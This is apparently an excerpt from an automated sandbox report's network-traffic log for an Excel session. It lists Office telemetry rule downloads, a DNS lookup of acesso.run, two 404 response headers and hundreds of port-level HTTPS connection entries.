Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/excel.exe-Production-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net

Source: global traffic

DNS traffic detected: DNS query: acesso.run

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 30 Oct 2024 06:27:20 GMTContent-Type: text/html; charset=utf-8Connection: closeX-DNS-Prefetch-Control: offX-Frame-Options: SAMEORIGINStrict-Transport-Security: max-age=15552000; includeSubDomainsX-Download-Options: noopenX-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockX-Powered-By: Next.jsVary: Accept-Encodingcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1hS1wgJUbUC5gH6HpcIUzJfID53dcF1W1E4p%2FpGpbXM6NXOhYIv256AnCY4SMtE61g7vQ6lz0bht8h89WuWjwAKpqKT%2BcFz%2FqawurN0GW5jAZUccHmwOkut2qrvV"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8da956c38a696b42-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1126&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2821&recv_bytes=919&delivery_rate=2421404&cwnd=234&unsent_bytes=0&cid=6c7e46b77139104e&ts=408&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 30 Oct 2024 06:27:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeX-DNS-Prefetch-Control: offX-Frame-Options: SAMEORIGINStrict-Transport-Security: max-age=15552000; includeSubDomainsX-Download-Options: noopenX-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockX-Powered-By: Next.jsVary: Accept-Encodingcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ot4EWNFhnyZ7ybhWvsxAtxdYXOdt8pJzRbdEyZZF8fP%2FE7BMx1YuN0DOjuqbAICDm5oa7mbMVWK4xGehvFjoyWhpsD%2BP9QKcEdAPZYFxZwZ5mnghB4AmZBe%2BXKoI"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8da956cfe9eee7fb-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1554&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2821&recv_bytes=752&delivery_rate=1872010&cwnd=250&unsent_bytes=0&cid=9d59e0927b0f44c3&ts=274&x=0"

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
